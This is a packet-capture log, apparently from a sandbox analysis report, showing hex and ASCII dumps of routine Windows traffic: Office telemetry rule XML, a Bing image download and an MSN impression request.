2024-11-26 15:31:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-26 15:31:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-26 15:31:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-26 15:31:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-26 15:31:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-26 15:31:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-26 15:31:18 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-26 15:31:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:18 UTC	375	OUT	GET /th?id=OADD2.10239379264962_11UXGSQH50WZLI7KB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:18 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 644730 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 38F27DA3FA7E4DADA134B049126011A8 Ref B: EWR30EDGE0720 Ref C: 2024-11-26T15:31:18Z Date: Tue, 26 Nov 2024 15:31:18 GMT Connection: close
2024-11-26 15:31:18 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 8e 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 38 3a 32 34 20 31 33 3a 33 30 3a 33 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:08:24 13:30:328
2024-11-26 15:31:18 UTC	16384	IN	Data Raw: df f3 ce 91 51 a9 dc cd c4 30 cb 1d 2a fc d5 6a 11 ba 95 8a fd da 9e 63 6f 61 e6 41 b2 8c 25 3a 64 a4 8f ef d0 9d ca f6 7a d8 66 c4 ff 00 6e 9f ff 00 a0 d4 fe 5e e8 f7 2d 26 cd df 2d 2e 62 95 3b 10 fc f4 8c 2a d4 63 fb b4 48 9b 6a 79 8b 71 ba 29 f9 7f c5 4d 64 ff 00 a6 95 a0 df ea f6 d4 32 45 ba ab da 33 3f 63 1e 84 30 a6 df bb 52 48 3f 79 fe ae 9d 0c 4c b2 7c b5 37 cd 49 cb 52 94 2c b6 2a ac 7f dd a9 a3 56 f2 f6 ff 00 15 4a a1 a9 d9 a8 e6 6c d2 30 20 99 37 47 55 d9 1a b4 14 33 7d da 1a 36 6f bd 1d 35 3b 15 2c 3b 91 9f e5 b7 99 4d 64 6f e1 ad 1f 2b fe 99 d3 24 8b f7 94 d5 43 2f a9 be e5 2f 2d bf bf 4f 58 d7 f8 aa d2 c7 fc 2b 4b e5 32 d1 ed 06 b0 ae e5 6f 2a 26 fb d4 c6 8b f7 9f 2d 5e f2 ff 00 d8 a4 f2 cd 2f 68 3f ab 79 19 fb 1e 86 89 bf e7 9d 5e 68 36 fc Data Ascii: Q0jcoaA%:dzfn^-&-.b;cHjyq)Md2E3?c0RH?yL\|7IR,VJl0 7GU3}6o5;,;Mdo+$C//-OX+K2o&-^/h?y^h6
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: 91 53 ca fe f7 cd 4b f6 75 6f bd 56 bc b1 47 97 55 ed 5f 40 f6 11 2a fd 9f 1f 76 8f 23 fe 9a 55 b5 0a 3e ed 33 6d 0a ab 64 fb 08 ad 91 55 a2 fe 16 92 a3 68 1a af 28 fe f5 1e 5a b5 57 b5 69 92 f0 d1 7d 0c f6 8d a8 fb bf f3 ce ae b4 1b be ed 1e 42 ff 00 15 5f b7 46 7f 55 69 d8 a1 f3 c9 4d 64 6a d3 58 95 7e ec 74 be 5f f7 a9 7b 71 ac 2f 73 35 43 2d 2e 6a ff 00 95 fd ea 3c 94 a3 db 87 d5 59 49 51 9b fe 79 d2 f9 1b bf e5 a5 5c 68 17 fe 79 d2 35 ba fd ed 9b 68 f6 97 d9 97 f5 6b 10 47 16 da 5d 8b 56 3c aa 4f 2f fb d5 9b 99 5e c5 f5 45 6d 8f e6 6d a5 f2 ff 00 e9 a5 58 68 d7 ee d2 79 69 47 3a 0f 62 43 e5 af fc f4 a5 5f 96 a4 68 b7 7d da 5f 21 a8 72 2b d8 d8 89 47 f7 7e f5 2f fb 35 2f 97 fd da 55 8d bf e9 a5 4f 39 7e cf c8 af 18 65 8f e5 fb b4 ac 1b fe 79 d5 85 81 Data Ascii: SKuoVGU_@*v#U>3mdUh(ZWi}B_FUiMdjX~t_{q/s5C-.j<YIQy\hy5hkG]V<O/^EmmXhyiG:bC_h}_!r+G~/5/UO9~ey
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: d4 34 5d 36 0d 5b ec 7f 2b da 5c 7f cb cc 67 ba 29 fe ef 7a e1 f4 bd 72 da df c4 77 d3 5a c9 a6 da e9 b7 16 91 db 22 42 fb a5 b2 90 7d ef 97 fd aa e6 c0 e5 91 ab 4e e9 5d f5 3d 19 e2 15 38 db 95 2f f3 37 7c 03 e2 9b 98 bc 01 fd 97 aa 79 7b 55 f6 db ba 6e 5d eb f7 be e7 6c 55 af 19 78 d9 65 be bb d5 3c 84 ba f3 62 8f 66 cf 95 77 7d d5 56 15 e7 fe 24 f1 27 87 b4 9f 1a 69 f3 4d 3c f7 12 2a 7d 9a fa e2 17 fd c7 92 7f d8 eb bc 55 2b 3f 88 6d 2d f7 d9 56 c3 f7 33 dc 48 c9 0a 3a ac 5b 47 dc 56 6c 1d cc 6b d4 a5 90 f3 54 53 e5 d3 73 cc ad 9b d3 8d e3 75 72 1f 08 f8 fe 2d 07 c2 ba 9e 9f 27 99 6f 7c ba 8b 5c db c3 0d 8a b4 50 b6 ee 45 60 cd a8 5f 78 cb 5c 46 92 d2 7b c9 2e bc c5 b8 44 9d a2 de bb b7 b7 c8 bf 77 f0 ad 45 d0 a5 f1 ae a5 fd bd a8 41 25 ac 77 13 36 fb Data Ascii: 4]6[+\g)zrwZ"B}N]=8/7\|y{Un]lUxe<bfw}V$'iM<*}U+?m-V3H:[GVlkTSsur-'o\|\PE`_x\F{.DwEA%w6
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: 57 8b 72 38 5d 16 da da fe e2 6b 38 63 92 f2 6b 5f bf 33 fd d8 64 2d 8c 6d 5f bd 8a ed bc 5d e1 ed 07 c3 de 1c fe d8 b1 fb 55 9e a9 16 d9 53 7c ec ad 7b f3 61 d1 63 fe 12 6a 9f 8a 35 9d 17 c3 36 29 71 71 77 f6 59 a5 46 d9 0d a5 ae d6 7c 72 37 38 f7 ab be 1d d6 7f e1 25 d6 26 bc 8e ee 3b cb ab 38 61 9d 3c ef bc f9 fa f4 5f 5a e3 c6 7b 4a 89 3e 88 f5 32 5a 74 f0 f3 94 5b d5 b3 b1 f8 73 6f a7 dd 69 af a9 7d be d7 54 b8 d9 1a bc df 79 a1 6f ee c9 fe d5 5c d7 2e 7e c5 1c cb 0d de 9b a6 c9 2b b4 4e f7 16 b1 b3 4d 19 5f 9b 6a 9e 6a 8e b5 e2 1f 0f 5a 68 70 ea 92 5d c6 d3 2c ca b7 6f 63 6b e5 2f 3f f3 d3 1c 1c 7f 78 d6 17 c4 2d 0f c1 3e 32 f1 56 93 7d 71 77 25 d5 e5 e5 ba c1 6e 90 dd 6e d8 a3 f8 53 6f 73 5f 37 1b 4a b3 e7 4d 23 ee df 32 a7 78 59 b2 96 93 79 a0 c1 Data Ascii: Wr8]k8ck_3d-m_]US\|{acj56)qqwYF\|r78%&;8a<_Z{J>2Zt[soi}Tyo\.~+NM_jjZhp],ock/?x->2V}qw%nnSos_7JM#2xYy
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: 16 bc ec b6 b7 b4 e6 8e e9 5a c6 b5 22 e3 cb 6f 9a 1f 19 d9 be e2 39 23 66 6f 95 fe 7f e6 2a e5 bc 9b 74 d9 ae 9a 48 fe 6d ad f7 fe fe 2a 97 94 be 63 ab 41 07 cc 9f 3e c4 fb f9 f5 ae bb c3 69 73 3f 85 5e c6 e2 48 d9 af 26 f3 f6 79 1f bd da 8b b1 76 7b 7b 57 65 79 5a 37 37 a5 7b b3 b2 f0 3f 95 71 a5 4d ab 59 df c8 ab a4 da 34 97 69 b3 77 cb e8 a5 7f 91 a8 fe 23 78 86 0d 2e c6 de 69 3c c9 56 f2 16 9d 21 87 ef 22 fe 35 8a d6 fa 9e 9b e1 9d 72 18 e7 8e de 1b fb 18 e3 87 67 de 76 ef 9d be ab c5 73 5a e5 c6 a1 36 b0 f0 df 5d f9 f2 5a db c7 6d 0f ee ff 00 85 17 1b 6b c4 8e 5b 0a f5 f9 de c8 da 13 94 24 df 43 ac b3 f1 66 95 07 86 6c 6f 2d 64 92 2d df 35 c5 bb a3 34 b0 af f1 7f f5 ab b9 f0 1e b0 d3 e9 df 6a f2 27 b7 b5 b8 dc d6 9e 77 de 9a 3e be 66 ce a8 bf 5a f0 Data Ascii: Z"o9#fotHmcA>is?^H&yv{{WeyZ77{?qMY4iw#x.i<V!"5rgvsZ6]Zmk[$Cflo-d-54j'w>fZ
2024-11-26 15:31:19 UTC	16384	IN	Data Raw: 3d 9c 8f 0d d6 9b e5 2f cc db 3e 56 54 cd 71 3e 3b b1 8b 4f d7 3e c3 35 fc 76 f6 77 8f e6 5a 6f b5 f9 5d 7b a6 ef ef 29 ae 85 64 d5 ff 00 b2 62 9a 69 ee a2 b8 95 15 9f e4 f9 53 3d ab ce be 3c 78 b3 5c b0 83 4b d1 f4 f9 2d 67 59 5d ae 75 14 9a d7 cf f2 55 1b e4 6f 97 95 1d 6b 3c 05 69 d4 af 18 24 73 fd 56 52 93 95 d7 9d bc 8d 08 fe c2 bf bc b5 fb df 2f cf fd fc 57 7b e0 39 37 58 a7 da a0 91 64 95 37 22 7f 7e bc 97 c1 ba 8d e6 b9 07 f6 84 72 41 17 ce cb b2 18 fe 5f cb 35 da e9 ba c6 ab 61 a5 2b 6a 97 f6 b1 5b ab ed 85 df e5 af 47 30 ad 2f 85 ee 85 1c 0b d5 47 73 d1 34 f9 e0 59 dd 97 cc 65 d9 b5 d1 de 92 ea 0d bb 1a 3f f5 72 fc c9 5c 35 bf 89 77 4f f6 af ed 28 25 8e 54 db fb 97 f9 5f dd 6b a0 f0 8f 88 55 e7 fb 0d f4 f1 f9 37 1f 2c 33 7f 71 bf 87 77 a6 6b a7 Data Ascii: =/>VTq>;O>5vwZo]{)dbiS=<x\K-gY]uUok<i$sVR/W{97Xd7"~rA_5a+j[G0/Gs4Ye?r\5wO(%T_kU7,3qwk
2024-11-26 15:31:20 UTC	16065	IN	Data Raw: 75 b6 fe 7f dd 5f e4 65 4e 73 aa bd cd d6 8f 7d bc b6 d4 e2 b5 4d 45 ac e0 bb d2 75 6d 5b cd 6b 59 bf d3 91 1f f7 bb 83 72 a9 fe d0 a5 ba f1 06 9f a8 f8 3a 6d 3d 6d 27 b7 65 99 59 2e 1d db cd 99 43 7f 0f d5 6a 9d f7 81 fc 2b 3d d7 9d 79 ae a5 c6 97 70 ed 16 fb 4d df 6c 86 4f f6 c3 7d e3 59 ff 00 10 3c 3f 7d a4 6b 9f f0 8f d9 df fd be 3b 28 63 96 de e1 3e 66 48 cf f0 b0 1f c5 fe cd 6b 4e 8e 16 a3 8c 53 7c db ed 63 96 a3 af 0b bb 5d 6d a3 b9 ea fa 7c 6b ae 68 16 f7 11 c9 25 c4 77 10 c6 af 0b ed 5d ea 9f 77 60 6f 46 a9 bc 65 69 2d ae 8e 9a 7c 70 5a b5 ab 6d 95 e1 87 72 cb b8 74 66 3d 2b 98 f8 57 7f a9 da e8 68 b3 58 7d a9 9a 65 95 1e e1 36 b4 2c 38 60 bb be ea ff 00 2a ca bc f1 3d e6 ad e2 07 b5 d2 75 6b 55 85 a6 6f f4 47 9d be 48 fb e7 fb df 35 78 6b 03 59 Data Ascii: u_eNs}MEum[kYr:m=m'eY.Cj+=ypMlO}Y<?}k;(c>fHkNS\|c]m\|kh%w]w`oFei-\|pZmrtf=+WhX}e6,8`*=ukUoGH5xkY
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: 6a ea c6 e2 48 ec 2c 6d e4 8b 6a db dd c2 ff 00 bf 49 87 dd c7 38 6f 70 6b 93 5d 23 c5 ef a9 3a cd 3e 9b 67 75 a3 4d e6 ec b7 b1 f2 9a 6f 94 fd c7 5c 07 fa 76 af 47 07 5a 36 fd cd 4b 33 97 11 59 c9 da 51 ba 47 65 e1 b8 20 f0 e3 c3 a4 b4 77 d7 10 ac 31 db 5b dd ec dc af 8f ef 30 e8 6b 3b e2 86 b1 79 75 f0 db 53 8f 43 b1 fe d1 8f 7b 45 a9 cb bf 6f d8 e3 1e 9f df 26 b9 9d 2f 5d f1 9c 1a 94 32 37 86 ad 5a 1f 27 ed 97 17 30 bf 94 d7 2a 3e ff 00 ca d9 dc d8 a9 f4 5d 7f 48 7d 0f 50 d0 61 f0 d5 d5 ae 9f ab 24 9f 6b 7b 4b ef 36 28 58 f4 7d ad fc 54 e9 e5 cd 55 55 65 ef 3b dc e9 fe d6 a8 e1 c9 6b 0c f8 4f a7 6a ba 26 b9 71 71 fd 8d 23 5b dd 5a 47 be 67 f9 99 14 ff 00 b5 fc 3f 35 7a 5a d9 b5 c4 09 6b 34 93 c5 1a be e7 48 5f 6e f5 3d 9b d4 57 9d 68 ba ec ba 6e 95 69 Data Ascii: jH,mjI8opk]#:>guMo\vGZ6K3YQGe w1[0k;yuSC{Eo&/]27Z'0*>]H}Pa$k{K6(X}TUUe;kOj&qq#[ZGg?5zZk4H_n=Whni
2024-11-26 15:31:20 UTC	16384	IN	Data Raw: b3 5c 33 6b 9a 49 5c fc f6 3c 1d 9a 46 13 a9 4a 0e 4a 3d 99 8f 36 a7 3b 58 a3 2c 9b a4 6d bf 27 96 d5 b9 e1 fb fd 67 4d fd f4 91 a6 d6 4d df 67 99 1b 6a 7f f6 35 5f 41 d2 3c db eb 76 f3 e4 bc b7 6d b2 c3 32 3a f9 5b 7a 8e 6b a4 f1 04 8d 74 f7 d3 5a cf f2 b4 5e 53 f9 2f b9 9d 47 f0 8f c6 ab 13 56 9b 94 69 c5 5d 31 65 b8 4c 5c 29 4e bd 49 38 ca 3a 58 c1 b5 d7 75 36 d9 22 dd ee f3 76 fc 89 b7 6f 15 b9 7d e1 66 6b 77 d6 ad fc ff 00 b4 5e 4c ad 34 2f 06 d5 e7 ae da e6 7c 33 a4 b5 ac 76 8c d2 41 14 8d 13 34 db ff 00 8d bf 86 bd 4b c4 57 33 e9 ba 6d 8e ad 6b e5 b3 79 2b e7 23 cf f2 ee 0b d7 6d 79 39 96 25 e1 aa 53 85 0e a7 d4 e4 78 0f af d0 ab 3c 6a d6 27 94 f8 ea 46 8a d7 4c b7 92 c7 ec f3 58 3b 40 f3 7f 13 e7 b6 7a 56 66 97 03 5f ea 5e 4f ee d7 76 ed ef 5e a3 Data Ascii: \3kI\<FJJ=6;X,m'gMMgj5_A<vm2:[zktZ^S/GVi]1eL\)NI8:Xu6"vo}fkw^L4/\|3vA4KW3mky+#my9%Sx<j'FLX;@zVf_^Ov^

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49730	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:18 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1494 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-11-26 15:31:18 UTC	1494	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 33 39 34 35 31 31 34 33 33 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 45 36 33 38 33 31 41 46 30 43 43 30 34 36 41 30 39 44 31 41 45 36 41 35 39 37 46 39 35 31 43 42 26 41 53 49 44 3d 30 65 36 65 38 37 34 38 39 33 66 33 34 32 62 35 62 36 39 33 36 36 34 39 37 33 61 36 61 61 34 38 26 54 49 4d 45 3d 32 30 32 34 31 31 32 36 54 31 35 33 31 30 35 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 31 32 36 54 31 35 33 30 35 39 26 4d 41 5f 53 63 6f 72 65 3d 30 26 